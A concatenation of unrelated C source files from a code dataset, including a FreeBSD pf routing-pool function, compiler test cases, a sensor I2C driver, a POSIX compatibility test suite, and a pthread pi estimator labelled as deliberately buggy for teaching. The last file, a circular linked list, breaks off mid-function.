scalar_t__ PF_ADDR_TABLE ;
scalar_t__ PF_AEQ (struct pf_addr*,struct pf_addr*,int) ;
int /*<<< orphan*/ PF_AINC (struct pf_addr*,int) ;
scalar_t__ PF_AZERO (struct pf_addr*,int) ;
scalar_t__ PF_DEBUG_MISC ;
int /*<<< orphan*/ PF_POOLMASK (struct pf_addr*,struct pf_addr*,struct pf_addr*,struct pf_addr*,int) ;
#define PF_POOL_BITMASK 132
#define PF_POOL_NONE 131
#define PF_POOL_RANDOM 130
#define PF_POOL_ROUNDROBIN 129
#define PF_POOL_SRCHASH 128
int PF_POOL_STICKYADDR ;
int PF_POOL_TYPEMASK ;
struct pf_pooladdr* TAILQ_FIRST (int /*<<< orphan*/ *) ;
struct pf_pooladdr* TAILQ_NEXT (struct pf_pooladdr*,int /*<<< orphan*/ ) ;
TYPE_6__ V_pf_status ;
int /*<<< orphan*/ arc4random () ;
int /*<<< orphan*/ entries ;
void* htonl (int /*<<< orphan*/ ) ;
struct pf_src_node* pf_find_src_node (struct pf_addr*,struct pf_rule*,int,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ pf_hash (struct pf_addr*,struct pf_addr*,int /*<<< orphan*/ *,int) ;
int /*<<< orphan*/ pf_match_addr (int /*<<< orphan*/ ,struct pf_addr*,struct pf_addr*,struct pf_addr*,int) ;
int /*<<< orphan*/ pf_print_host (struct pf_addr*,int /*<<< orphan*/ ,int) ;
int /*<<< orphan*/ pfr_pool_get (int /*<<< orphan*/ ,int*,struct pf_addr*,int) ;
int /*<<< orphan*/ printf (char*) ;
int
pf_map_addr(sa_family_t af, struct pf_rule *r, struct pf_addr *saddr,
struct pf_addr *naddr, struct pf_addr *init_addr, struct pf_src_node **sn)
{
struct pf_pool *rpool = &r->rpool;
struct pf_addr *raddr = NULL, *rmask = NULL;
/* Try to find a src_node if none was given and this
is a sticky-address rule. */
if (*sn == NULL && r->rpool.opts & PF_POOL_STICKYADDR &&
(r->rpool.opts & PF_POOL_TYPEMASK) != PF_POOL_NONE)
*sn = pf_find_src_node(saddr, r, af, 0);
/* If a src_node was found or explicitly given and it has a non-zero
route address, use this address. A zeroed address is found if the
src node was created just a moment ago in pf_create_state and it
needs to be filled in with routing decision calculated here. */
if (*sn != NULL && !PF_AZERO(&(*sn)->raddr, af)) {
/* If the supplied address is the same as the current one we've
* been asked before, so tell the caller that there's no other
* address to be had. */
if (PF_AEQ(naddr, &(*sn)->raddr, af))
return (1);
PF_ACPY(naddr, &(*sn)->raddr, af);
if (V_pf_status.debug >= PF_DEBUG_MISC) {
printf("pf_map_addr: src tracking maps ");
pf_print_host(saddr, 0, af);
printf(" to ");
pf_print_host(naddr, 0, af);
printf("\n");
}
return (0);
}
/* Find the route using chosen algorithm. Store the found route
in src_node if it was given or found. */
if (rpool->cur->addr.type == PF_ADDR_NOROUTE)
return (1);
if (rpool->cur->addr.type == PF_ADDR_DYNIFTL) {
switch (af) {
#ifdef INET
case AF_INET:
if (rpool->cur->addr.p.dyn->pfid_acnt4 < 1 &&
(rpool->opts & PF_POOL_TYPEMASK) !=
PF_POOL_ROUNDROBIN)
return (1);
raddr = &rpool->cur->addr.p.dyn->pfid_addr4;
rmask = &rpool->cur->addr.p.dyn->pfid_mask4;
break;
#endif /* INET */
#ifdef INET6
case AF_INET6:
if (rpool->cur->addr.p.dyn->pfid_acnt6 < 1 &&
(rpool->opts & PF_POOL_TYPEMASK) !=
PF_POOL_ROUNDROBIN)
return (1);
raddr = &rpool->cur->addr.p.dyn->pfid_addr6;
rmask = &rpool->cur->addr.p.dyn->pfid_mask6;
break;
#endif /* INET6 */
}
} else if (rpool->cur->addr.type == PF_ADDR_TABLE) {
if ((rpool->opts & PF_POOL_TYPEMASK) != PF_POOL_ROUNDROBIN)
return (1); /* unsupported */
} else {
raddr = &rpool->cur->addr.v.a.addr;
rmask = &rpool->cur->addr.v.a.mask;
}
switch (rpool->opts & PF_POOL_TYPEMASK) {
case PF_POOL_NONE:
PF_ACPY(naddr, raddr, af);
break;
case PF_POOL_BITMASK:
PF_POOLMASK(naddr, raddr, rmask, saddr, af);
break;
case PF_POOL_RANDOM:
if (init_addr != NULL && PF_AZERO(init_addr, af)) {
switch (af) {
#ifdef INET
case AF_INET:
rpool->counter.addr32[0] = htonl(arc4random());
break;
#endif /* INET */
#ifdef INET6
case AF_INET6:
if (rmask->addr32[3] != 0xffffffff)
rpool->counter.addr32[3] =
htonl(arc4random());
else
break;
if (rmask->addr32[2] != 0xffffffff)
rpool->counter.addr32[2] =
htonl(arc4random());
else
break;
if (rmask->addr32[1] != 0xffffffff)
rpool->counter.addr32[1] =
htonl(arc4random());
else
break;
if (rmask->addr32[0] != 0xffffffff)
rpool->counter.addr32[0] =
htonl(arc4random());
break;
#endif /* INET6 */
}
PF_POOLMASK(naddr, raddr, rmask, &rpool->counter, af);
PF_ACPY(init_addr, naddr, af);
} else {
PF_AINC(&rpool->counter, af);
PF_POOLMASK(naddr, raddr, rmask, &rpool->counter, af);
}
break;
case PF_POOL_SRCHASH:
{
unsigned char hash[16];
pf_hash(saddr, (struct pf_addr *)&hash, &rpool->key, af);
PF_POOLMASK(naddr, raddr, rmask, (struct pf_addr *)&hash, af);
break;
}
case PF_POOL_ROUNDROBIN:
{
struct pf_pooladdr *acur = rpool->cur;
/*
* XXXGL: in the round-robin case we need to store
* the round-robin machine state in the rule, thus
* forwarding thread needs to modify rule.
*
* This is done w/o locking, because performance is assumed
* more important than round-robin precision.
*
* In the simpliest case we just update the "rpool->cur"
* pointer. However, if pool contains tables or dynamic
* addresses, then "tblidx" is also used to store machine
* state. Since "tblidx" is int, concurrent access to it can't
* lead to inconsistence, only to lost of precision.
*
* Things get worse, if table contains not hosts, but
* prefixes. In this case counter also stores machine state,
* and for IPv6 address, counter can't be updated atomically.
* Probably, using round-robin on a table containing IPv6
* prefixes (or even IPv4) would cause a panic.
*/
if (rpool->cur->addr.type == PF_ADDR_TABLE) {
if (!pfr_pool_get(rpool->cur->addr.p.tbl,
&rpool->tblidx, &rpool->counter, af))
goto get_addr;
} else if (rpool->cur->addr.type == PF_ADDR_DYNIFTL) {
if (!pfr_pool_get(rpool->cur->addr.p.dyn->pfid_kt,
&rpool->tblidx, &rpool->counter, af))
goto get_addr;
} else if (pf_match_addr(0, raddr, rmask, &rpool->counter, af))
goto get_addr;
try_next:
if (TAILQ_NEXT(rpool->cur, entries) == NULL)
rpool->cur = TAILQ_FIRST(&rpool->list);
else
rpool->cur = TAILQ_NEXT(rpool->cur, entries);
if (rpool->cur->addr.type == PF_ADDR_TABLE) {
rpool->tblidx = -1;
if (pfr_pool_get(rpool->cur->addr.p.tbl,
&rpool->tblidx, &rpool->counter, af)) {
/* table contains no address of type 'af' */
if (rpool->cur != acur)
goto try_next;
return (1);
}
} else if (rpool->cur->addr.type == PF_ADDR_DYNIFTL) {
rpool->tblidx = -1;
if (pfr_pool_get(rpool->cur->addr.p.dyn->pfid_kt,
&rpool->tblidx, &rpool->counter, af)) {
/* table contains no address of type 'af' */
if (rpool->cur != acur)
goto try_next;
return (1);
}
} else {
raddr = &rpool->cur->addr.v.a.addr;
rmask = &rpool->cur->addr.v.a.mask;
PF_ACPY(&rpool->counter, raddr, af);
}
get_addr:
PF_ACPY(naddr, &rpool->counter, af);
if (init_addr != NULL && PF_AZERO(init_addr, af))
PF_ACPY(init_addr, naddr, af);
PF_AINC(&rpool->counter, af);
break;
}
}
if (*sn != NULL)
PF_ACPY(&(*sn)->raddr, naddr, af);
if (V_pf_status.debug >= PF_DEBUG_MISC &&
(rpool->opts & PF_POOL_TYPEMASK) != PF_POOL_NONE) {
printf("pf_map_addr: selected address ");
pf_print_host(naddr, 0, af);
printf("\n");
}
return (0);
} |
the_stack_data/9951.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* io.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: ksticks <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/06/23 13:25:49 by ksticks #+# #+# */
/* Updated: 2019/06/23 13:25:50 by ksticks ### ########.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
void ft_putchar(char c)
{
write(1, &c, 1);
}
void ft_put_positive(int nb)
{
int a;
int b;
if (nb)
{
a = nb / 10;
b = nb - a * 10;
ft_put_positive(a);
ft_putchar('0' + b);
}
}
void ft_putnbr(int nb)
{
int temp;
int size;
size = 1;
if (nb < 0)
{
ft_putchar('-');
nb = -nb;
}
if (nb == -2147483648)
{
ft_putchar('2');
nb = 147483648;
}
temp = nb;
while ((temp /= 10) > 0)
size *= 10;
temp = nb;
while (size)
{
ft_putchar((char)((temp / size)) + 48);
temp %= size;
size /= 10;
}
}
void ft_putstr(char *str)
{
while (*str)
ft_putchar(*str++);
}
|
the_stack_data/51856.c | /* { dg-do compile { target { { i?86-*-* x86_64-*-* } && ia32 } } } */
/* { dg-options "-fprofile-update=atomic -fprofile-generate -march=i386" } */
int main(int argc, char *argv[])
{
return 0;
} /* { dg-warning "target does not support atomic profile update, single mode is selected" } */
|
the_stack_data/7949561.c | int
main()
{
int arr[2];
arr[1] = 2;
if(arr[1] != 2)
return 1;
return 0;
}
|
the_stack_data/248581427.c | /***********************************************************************************************//**
* \file xensiv_dps3xx_mtb.c
*
* Description: This file contains ModusToolbox specific functions for the DPS3xx pressure sensors.
***************************************************************************************************
* \copyright
* Copyright 2021 Cypress Semiconductor Corporation
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
**************************************************************************************************/
#if defined(CY_USING_HAL)
#include "xensiv_dps3xx_mtb.h"
#include "cyhal_system.h"
//--------------------------------------------------------------------------------------------------
// _xensiv_dps3xx_reg_read
//--------------------------------------------------------------------------------------------------
static cy_rslt_t _xensiv_dps3xx_mtb_reg_read(void* context, uint16_t timeout, uint8_t i2c_addr,
uint8_t reg_addr, uint8_t* data, uint8_t length)
{
cyhal_i2c_t* i2c_dev = (cyhal_i2c_t*)context;
cy_rslt_t rc = cyhal_i2c_master_write(i2c_dev, i2c_addr, ®_addr, 1, timeout, false);
if (rc == CY_RSLT_SUCCESS)
{
rc = cyhal_i2c_master_read(i2c_dev, i2c_addr, data, length, timeout, true);
}
return rc;
}
//--------------------------------------------------------------------------------------------------
// _xensiv_dps3xx_reg_write
//--------------------------------------------------------------------------------------------------
static cy_rslt_t _xensiv_dps3xx_mtb_reg_write(void* context, uint16_t timeout, uint8_t i2c_addr,
uint8_t reg_addr, uint8_t* data, uint8_t length)
{
cyhal_i2c_t* i2c_dev = (cyhal_i2c_t*)context;
uint8_t write_data[5];
CY_ASSERT(length < sizeof(write_data));
// check length
cy_rslt_t rc = XENSIV_DPS3XX_RSLT_ERR_WRITE_TOO_LARGE;
if (length < sizeof(write_data))
{
write_data[0] = reg_addr;
memcpy(&write_data[1], data, length);
rc = cyhal_i2c_master_write(i2c_dev, i2c_addr, write_data, length + 1, timeout, true);
}
return rc;
}
//--------------------------------------------------------------------------------------------------
// xensiv_dps3xx_mtb_init_i2c
//--------------------------------------------------------------------------------------------------
cy_rslt_t xensiv_dps3xx_mtb_init_i2c(xensiv_dps3xx_t* dev, cyhal_i2c_t* i2c_dev,
xensiv_dps3xx_i2c_addr_t i2c_addr)
{
xensiv_dps3xx_i2c_comm_t functions =
{
.read = _xensiv_dps3xx_mtb_reg_read,
.write = _xensiv_dps3xx_mtb_reg_write,
.delay = cyhal_system_delay_ms,
.context = i2c_dev
};
return xensiv_dps3xx_init_i2c(dev, &functions, i2c_addr);
}
#endif // defined(CY_USING_HAL)
|
the_stack_data/153268150.c | // RUN: clang-cc -emit-llvm < %s | grep "zeroinitializer, i16 16877"
// PR4390
struct sysfs_dirent {
union { struct sysfs_elem_dir {} s_dir; };
unsigned short s_mode;
};
struct sysfs_dirent sysfs_root = { {}, 16877 };
|
the_stack_data/175143859.c | /* File: pth_pi.c
* Purpose: Try to estimate pi using the formula
*
* pi = 4*[1 - 1/3 + 1/5 - 1/7 + 1/9 - . . . ]
*
* This version has a *very serious bug*
*
* Compile: gcc -g -Wall -o pth_pi pth_pi.c -lm -lpthread
* Run: ./pth_pi <number of threads> <n>
* n is the number of terms of the series to use.
* n should be evenly divisible by the number of threads
* Input: none
* Output: Estimate of pi as computed by multiple threads, estimate
* as computed by one thread, and 4*arctan(1).
*
* Notes:
* 1. The radius of convergence for the series is only 1. So the
* series converges quite slowly.
*
* IPP: Section 4.4 (pp. 162 and ff.)
*/
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <pthread.h>
const int MAX_THREADS = 1024;
/* Global variables */
long thread_count;
long long n;
double sum;
void* Thread_sum(void* rank);
/* Only executed by main thread */
void Get_args(int argc, char* argv[]);
void Usage(char* prog_name);
double Serial_pi(long long n);
int main(int argc, char* argv[]) {
long thread; /* Use long in case of a 64-bit system */
pthread_t* thread_handles;
/* Get number of threads from command line */
Get_args(argc, argv);
thread_handles = (pthread_t*) malloc (thread_count*sizeof(pthread_t));
sum = 0.0;
for (thread = 0; thread < thread_count; thread++)
pthread_create(&thread_handles[thread], NULL, Thread_sum, (void*)thread);
for (thread = 0; thread < thread_count; thread++)
pthread_join(thread_handles[thread], NULL);
sum = 4.0*sum;
printf("With n = %lld terms,\n", n);
printf(" Our estimate of pi = %.15f\n", sum);
sum = Serial_pi(n);
printf(" Single thread est = %.15f\n", sum);
printf(" pi = %.15f\n", 4.0*atan(1.0));
free(thread_handles);
return 0;
} /* main */
/*------------------------------------------------------------------
* Function: Thread_sum
* Purpose: Add in the terms computed by the thread running this
* In arg: rank
* Ret val: ignored
* Globals in: n, thread_count
* Global in/out: sum
*/
void* Thread_sum(void* rank) {
long my_rank = (long) rank;
double factor;
long long i;
long long my_n = n/thread_count;
long long my_first_i = my_n*my_rank;
long long my_last_i = my_first_i + my_n;
if (my_first_i % 2 == 0)
factor = 1.0;
else
factor = -1.0;
for (i = my_first_i; i < my_last_i; i++, factor = -factor) {
sum += factor/(2*i+1);
}
return NULL;
} /* Thread_sum */
/*------------------------------------------------------------------
* Function: Serial_pi
* Purpose: Estimate pi using 1 thread
* In arg: n
* Return val: Estimate of pi using n terms of Maclaurin series
*/
double Serial_pi(long long n) {
double sum = 0.0;
long long i;
double factor = 1.0;
for (i = 0; i < n; i++, factor = -factor) {
sum += factor/(2*i+1);
}
return 4.0*sum;
} /* Serial_pi */
/*------------------------------------------------------------------
* Function: Get_args
* Purpose: Get the command line args
* In args: argc, argv
* Globals out: thread_count, n
*/
void Get_args(int argc, char* argv[]) {
if (argc != 3) Usage(argv[0]);
thread_count = strtol(argv[1], NULL, 10);
if (thread_count <= 0 || thread_count > MAX_THREADS) Usage(argv[0]);
n = strtoll(argv[2], NULL, 10);
if (n <= 0) Usage(argv[0]);
} /* Get_args */
/*------------------------------------------------------------------
* Function: Usage
* Purpose: Print a message explaining how to run the program
* In arg: prog_name
*/
void Usage(char* prog_name) {
fprintf(stderr, "usage: %s <number of threads> <n>\n", prog_name);
fprintf(stderr, " n is the number of terms and should be >= 1\n");
fprintf(stderr, " n should be evenly divisible by the number of threads\n");
exit(0);
} /* Usage */
|
the_stack_data/915106.c | #include <stdio.h>
void main() {
puts("Hello world!");
}
|
the_stack_data/26358.c | /**~common behavior~
* FunctionBehavior [Class]
*
* Description
*
* A FunctionBehavior is an OpaqueBehavior that does not access or modify any objects or other external data.
*
* Diagrams
*
* Behaviors
*
* Generalizations
*
* OpaqueBehavior
*
* Operations
*
* hasAllDataTypeAttributes(d : DataType) : Boolean
*
* The hasAllDataTypeAttributes query tests whether the types of the attributes of the given DataType are all
* DataTypes, and similarly for all those DataTypes.
*
* body: d.ownedAttribute->forAll(a |
* a.type.oclIsKindOf(DataType) and
* hasAllDataTypeAttributes(a.type.oclAsType(DataType)))
*
* Constraints
*
* one_output_parameter
*
* A FunctionBehavior has at least one output Parameter.
*
* inv: self.ownedParameter->
* select(p | p.direction = ParameterDirectionKind::out or p.direction=
* ParameterDirectionKind::inout or p.direction= ParameterDirectionKind::return)->size() >= 1
*
* types_of_parameters
*
* The types of the ownedParameters are all DataTypes, which may not nest anything but other DataTypes.
*
* inv: ownedParameter->forAll(p | p.type <> null and
* p.type.oclIsTypeOf(DataType) and hasAllDataTypeAttributes(p.type.oclAsType(DataType)))
**/
|
the_stack_data/266746.c | #include <stdio.h>
int search(int arr[],int size, int ele);
int search(int arr[],int size, int ele){
int ret=0;
while(ret<size){
if(arr[ret]==ele)
return ret;
ret++;
}
return 0;
}
int main()
{
int i=0;
int k=100;
int arr[100],arr1[100];
for(i=0;i<k;i++)
{
scanf("%d",&arr[i]);
scanf("%d",&arr1[i]);
}
int t;
scanf("%d",&t);
int find[t];
for(i=0;i<t;i++)
scanf("%d",&find[i]);
int index;
for(i=0;i<t;i++)
{
index=search(arr1,k,find[i]);
printf("%d\n",arr[index]);
}
return 0;
}
|
the_stack_data/86075250.c | #ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif /* _GNU_SOURCE */
#include <time.h>
#include <sys/file.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/random.h>
#include <assert.h>
#include <dirent.h>
#include <endian.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <termios.h>
#include <unistd.h>
static int flush_fork(void)
{
fflush(stdout);
fflush(stderr);
return fork();
}
static void progress(const char *fmt, ...)
{
fprintf(stdout, "%d (%d): ", time(NULL), getpid());
va_list ap;
va_start(ap, fmt);
vfprintf(stdout, fmt, ap);
va_end(ap);
fprintf(stdout, "\n");
}
void test_dirent(void)
{
/* dirfd */
progress("dirent.h dirfd");
DIR *dh;
dh = opendir(".");
assert(dh != NULL);
assert(dirfd(dh) >= 0);
closedir(dh);
}
void test_endian(void)
{
#ifdef __BYTE_ORDER
progress("endian.h #define");
#if __BYTE_ORDER == __LITTLE_ENDIAN
assert(__BYTE_ORDER == __LITTLE_ENDIAN);
assert(__BYTE_ORDER != __BIG_ENDIAN);
#else
assert(__BYTE_ORDER != __LITTLE_ENDIAN);
assert(__BYTE_ORDER == __BIG_ENDIAN);
#endif
#endif
}
void test_err(void)
{
/* err */
/* warn */
}
void test_fcntl(void)
{
/* fcntl F_DUPFD_CLOEXEC */
/* open O_CLOEXEC */
}
void test_stdio(void)
{
/* getdelim */
progress("stdio.h getdelim");
{
size_t linecapp = 0;
char *line = NULL;
FILE *fp = fopen("data/getdelim.data", "r");
assert(fp);
/* initial alloc test */
assert(11 == getdelim(&line, &linecapp, ',', fp));
assert(0 == strcmp(line, "0123456789,"));
assert(linecapp > 11);
/* same buffer test */
size_t old_linecapp = linecapp;
assert(11 == getdelim(&line, &linecapp, '\n', fp));
assert(0 == strcmp(line, "abcdefghij\n"));
assert(old_linecapp == linecapp);
/* grow buffer test */
assert(101 == getdelim(&line, &linecapp, '\n', fp));
assert(0 == strcmp(line, "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n"));
assert(linecapp >= old_linecapp);
/* until EOF test */
old_linecapp = linecapp;
assert(6 == getdelim(&line, &linecapp, '!', fp));
assert(0 == strcmp(line, "short\n"));
assert(old_linecapp == linecapp);
/* until EOF test, not assert NUL terminated line, implementation
dependent. */
assert(-1 == getdelim(&line, &linecapp, '\n', fp));
assert(old_linecapp == linecapp);
fclose(fp);
free(line);
}
/* getline */
progress("stdio.h getline");
{
size_t linecapp = 80;
char *line = malloc(linecapp);
FILE *fp = fopen("data/getline.data", "r");
assert(fp);
/* re-use buffer */
assert(11 == getline(&line, &linecapp, fp));
assert(0 == strcmp(line, "0123456789\n"));
assert(80 == linecapp);
/* EOF test, not assert NUL terminated line, implementation
dependent. */
assert(-1 == getline(&line, &linecapp, fp));
assert(80 == linecapp);
fclose(fp);
free(line);
}
}
void test_stdlib(void)
{
/* posix_memalign */
progress("stdlib.h posix_memalign");
{
void *mem;
for (int i = 0; i < 64; i++) {
assert(0 == posix_memalign(&mem, sizeof(void*), i));
assert(0 == (((uint64_t) mem) % sizeof(void*)));
free(mem);
}
}
}
void test_string(void)
{
/* strnlen */
progress("string.h strnlen");
assert(4 == strnlen("test", 5));
assert(2 == strnlen("test", 2));
/* strndup */
progress("string.h strndup");
{
char *copy;
copy = strndup("test", 5);
assert(NULL != copy);
assert(0 == strcmp(copy, "test"));
free(copy);
copy = strndup("test", 2);
assert(NULL != copy);
assert(0 == strcmp(copy, "te"));
free(copy);
}
/* strcasestr */
progress("string.h strcasestr");
{
char *pos;
pos = strcasestr("my TeSt string", "test");
assert(NULL != pos);
assert(0 == strcmp(pos, "TeSt string"));
pos = strcasestr("my end test", "test");
assert(NULL != pos);
assert(0 == strcmp(pos, "test"));
assert(NULL == strcasestr("my test", "missing"));
}
/* strsep */
progress("string.h strsep");
{
char buf[128];
char *stringp = NULL;
assert(NULL == strsep(&stringp, ","));
snprintf(buf, sizeof(buf), "");
stringp = buf;
assert(0 == strcmp("", strsep(&stringp, ",")));
assert(NULL == strsep(&stringp, ","));
snprintf(buf, sizeof(buf), "1,2,3");
stringp = buf;
assert(0 == strcmp("1", strsep(&stringp, ",")));
assert(0 == strcmp("2", strsep(&stringp, ",")));
assert(0 == strcmp("3", strsep(&stringp, ",")));
assert(NULL == strsep(&stringp, ","));
snprintf(buf, sizeof(buf), ",,3");
stringp = buf;
assert(0 == strcmp("", strsep(&stringp, ",")));
assert(0 == strcmp("", strsep(&stringp, ",")));
assert(0 == strcmp("3", strsep(&stringp, ",")));
assert(NULL == strsep(&stringp, ","));
}
/* memmem */
progress("string.h memmem");
{
void *pos;
pos = memmem("my test string", 14, "test", 4);
assert(NULL != pos);
assert(0 == strcmp(pos, "test string"));
pos = memmem("my end string", 14, "string", 6);
assert(NULL != pos);
assert(0 == strcmp(pos, "string"));
assert(NULL == memmem("my test string", 14, "missing", 7));
}
}
void test_strings(void)
{
/* strncasecmp */
progress("strings.h strncasecmp");
assert(0 == strncasecmp("TEST", "test", 5));
assert(0 == strncasecmp("te", "TEST", 2));
assert(0 != strncasecmp("test", "other", 5));
assert(-115 == strncasecmp("te", "test", 5));
assert(115 == strncasecmp("test", "te", 5));
}
static void test_sys_file_child(int pfd[], int op)
{
int fd = open("data/flock", O_RDWR|O_CREAT, 0664);
assert(fd > -1);
int tmp;
assert(sizeof(int) == read(pfd[0], &tmp, sizeof(int)));
progress("waiting for lock %d", getpid());
flock(fd, op);
progress("locked %d", getpid());
assert(sizeof(int) == write(pfd[1], &tmp, sizeof(int)));
assert(sizeof(int) == read(pfd[0], &tmp, sizeof(int)));
sleep(1);
flock(fd, LOCK_UN);
progress("unlocked %d", getpid());
assert(sizeof(int) == write(pfd[1], &tmp, sizeof(int)));
close(fd);
write(pfd[1], &fd, sizeof(int));
close(pfd[1]);
exit(0);
}
void test_sys_file(void)
{
/* flock */
progress("sys/file.h flock");
int p1[2];
assert(0 == pipe(p1));
pid_t c1 = flush_fork();
assert(c1 > -1);
if (c1 == 0) {
test_sys_file_child(p1, LOCK_EX);
}
int p2[2];
assert(0 == pipe(p2));
pid_t c2 = flush_fork();
assert(c2 > -1);
if (c2 == 0) {
test_sys_file_child(p2, LOCK_EX);
}
/* c1 and c2 waiting for flock */
int tmp = 0;
assert(sizeof(int) == write(p1[1], &tmp, sizeof(int)));
/* locked, after read succeeds */
assert(sizeof(int) == read(p1[0], &tmp, sizeof(int)));
/* try to grab lock, blocks */
assert(sizeof(int) == write(p2[1], &tmp, sizeof(int)));
/* signal unlock */
assert(sizeof(int) == write(p1[1], &tmp, sizeof(int)));
/* locked, after read succeeds */
assert(sizeof(int) == read(p2[0], &tmp, sizeof(int)));
/* signal unlock */
assert(sizeof(int) == write(p2[1], &tmp, sizeof(int)));
int c1_ret, c2_ret;
assert(c1 == waitpid(c1, &c1_ret, 0));
assert(c2 == waitpid(c2, &c2_ret, 0));
assert(0 == WEXITSTATUS(c1_ret));
assert(0 == WEXITSTATUS(c2_ret));
}
void test_sys_random(void)
{
/* getrandom */
progress("sys/random.h getrandom");
ssize_t n;
char buf[128], zerobuf[128];
memset(zerobuf, 0, sizeof(zerobuf));
memset(buf, 0, sizeof(buf));
n = getrandom(buf, sizeof(buf), 0);
assert(n > 0);
assert(memcmp(buf, zerobuf, 128) != 0);
memset(buf, 0, sizeof(buf));
n = getrandom(buf, sizeof(buf), GRND_RANDOM);
assert(n > 0);
assert(memcmp(buf, zerobuf, 128) != 0);
/* getentropy */
progress("sys/random.h getentropy");
memset(buf, 0, sizeof(buf));
assert(getentropy(buf, sizeof(buf)) == 0);
assert(memcmp(buf, zerobuf, 128) != 0);
}
void test_termios(void)
{
/* openpty */
progress("termios.h openpty");
{
int primary, slave;
assert(0 == openpty(&primary, &slave, NULL, NULL, NULL));
close(primary);
close(slave);
}
/* forkpty */
progress("termios.h forkpty");
{
int primary;
pid_t pid = forkpty(&primary, NULL, NULL, NULL);
assert(pid > -1);
if (pid == 0) {
char *const argv[] = { "/bin/sh", NULL };
execv(argv[0], argv);
exit(1);
}
sleep(1);
size_t len;
char buf[512];
memset(buf, '\0', sizeof(buf));
len = read(primary, buf, sizeof(buf) - 1);
progress("io read %d: \"%s\"", len, buf);
write(primary, "uptime\n", 7);
sleep(1);
memset(buf, '\0', sizeof(buf));
len = read(primary, buf, sizeof(buf) - 1);
progress("io read %d: \"%s\"", len, buf);
write(primary, "exit\n", 5);
memset(buf, '\0', sizeof(buf));
len = read(primary, buf, sizeof(buf) - 1);
progress("io read %d: \"%s\"", len, buf);
close(primary);
int ret;
assert(pid == waitpid(pid, &ret, 0));
assert(0 == WEXITSTATUS(ret));
}
}
void test_time(void)
{
time_t loc, gm;
struct tm tm;
const int expected_time = 158122921;
tm.tm_sec = 1;
tm.tm_min = 2;
tm.tm_hour = 3;
tm.tm_mday = 5;
tm.tm_mon = 0;
tm.tm_year = 75;
tm.tm_wday = 6;
tm.tm_yday = 4;
tm.tm_isdst = 0;
tzset();
/* timelocal */
progress("time.h timelocal");
loc = timelocal(&tm);
/* currently fails on FreeBSD */
#ifndef __FreeBSD__
assert(loc == expected_time + timezone);
#endif /* __FreeBSD__ */
/* timegm */
progress("time.h timegm");
gm = timegm(&tm);
assert(gm == expected_time);
}
void test_unistd(void)
{
/* faccessat(AT_CWD, "test_all.c"
* faccessat(fd, "/absolute/path"
* faccessat(fd, "../relative/path"
*/
/* readlinkat(AT_CWD, "test_all.c"
* readlinkat(fd, "/absolute/path"
* readlinkat(fd, "../relative/path"
*/
}
int in_argv(const char *search, int argc, char *argv[])
{
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], search) == 0) {
return 1;
}
}
return 0;
}
struct suite {
void(*fun)();
const char *name;
};
int main(int argc, char *argv[])
{
int all = (argc == 1) || in_argv("all", argc, argv);
struct suite suites[] = {
{test_dirent, "dirent.h"},
{test_endian, "endian.h"},
{test_err, "err.h"},
{test_fcntl, "fcntl.h"},
{test_stdio, "stdio.h"},
{test_stdlib, "stdlib.h"},
{test_string, "string.h"},
{test_strings, "strings.h"},
{test_sys_file, "sys/file.h"},
{test_sys_random, "sys/random.h"},
{test_termios, "termios.h"},
{test_time, "time.h"},
{test_unistd, "unistd.h"},
{NULL, NULL}
};
for (int i = 0; suites[i].name; i++) {
if (all || in_argv(suites[i].name, argc, argv)) {
progress(">>> %s", suites[i].name);
suites[i].fun();
progress("<<< %s", suites[i].name);
}
}
progress("DONE");
return 0;
}
|
the_stack_data/287188.c | /* APPLE LOCAL file Radar 4010498 et. al. */
/* { dg-do compile { target i?86-*-darwin* } } */
/* { dg-require-effective-target ilp32 } */
/* { dg-options "-march=pentium4 -fPIC" } */
/* { dg-final { scan-assembler "86.get_pc_thunk" } } */
#define TEST_STRING "test string %d"
#define TEST_STRING0 "test string 0"
#include <stdlib.h>
#include <stdio.h>
int globalvar_i;
main (int argc, char *argv[])
{
char buf[90];
sprintf (buf, TEST_STRING, globalvar_i);
if (strcmp (buf, TEST_STRING0))
abort ();
exit (0);
}
|
the_stack_data/108227.c | #include <stdio.h>
int
main(void)
{
int c = 0;
int floor = 0;
int instruction = 0;
while ((c = fgetc(stdin)) != EOF) {
instruction++;
switch (c) {
case '(': floor++; break;
case ')': floor--; break;
default: break;
}
if (floor == -1)
break;
}
printf("%d\n", instruction);
}
|
the_stack_data/88892.c | #define unit(u) __attribute__((unit(u)))
int main(int argc, char **argv) {
int unit(m) a;
int b = a;
return 0;
}
|
the_stack_data/1150538.c | #include <sys/types.h>
#include <unistd.h>
#include <errno.h>
int execvp(const char *file, char *const argv[])
{
extern char **environ;
/* search $PATH for file */
execve(file, argv, environ);
if (errno == ENOEXEC) {
/* stuff /bin/sh in front */
char sh[] = "/bin/sh";
return execve(sh, argv, environ);
}
return -1;
}
/*
POSIX(1)
*/
|
the_stack_data/305022.c | int f();
void foo()
{
int i, j, a[100];
#pragma scop
for (i = 0; i < 100; ++i)
for (j = 0; j < 100; ++j) {
a[i] = 0;
if (f())
break;
a[i] = i + j;
}
#pragma endscop
}
|
the_stack_data/145270.c | #include <stdio.h>
#include <stdlib.h>
typedef struct node{
int data;
struct node *nextAddress;
}Node;
Node *start = NULL;
int sizeofList()
{
int count=0;
Node *ptr;
ptr = start;
while(ptr->nextAddress != start)
{
count = count + 1;
ptr = ptr->nextAddress;
}
count = count + 1;
return count;
}
void add(int no)
{
Node *newNode, *ptr;
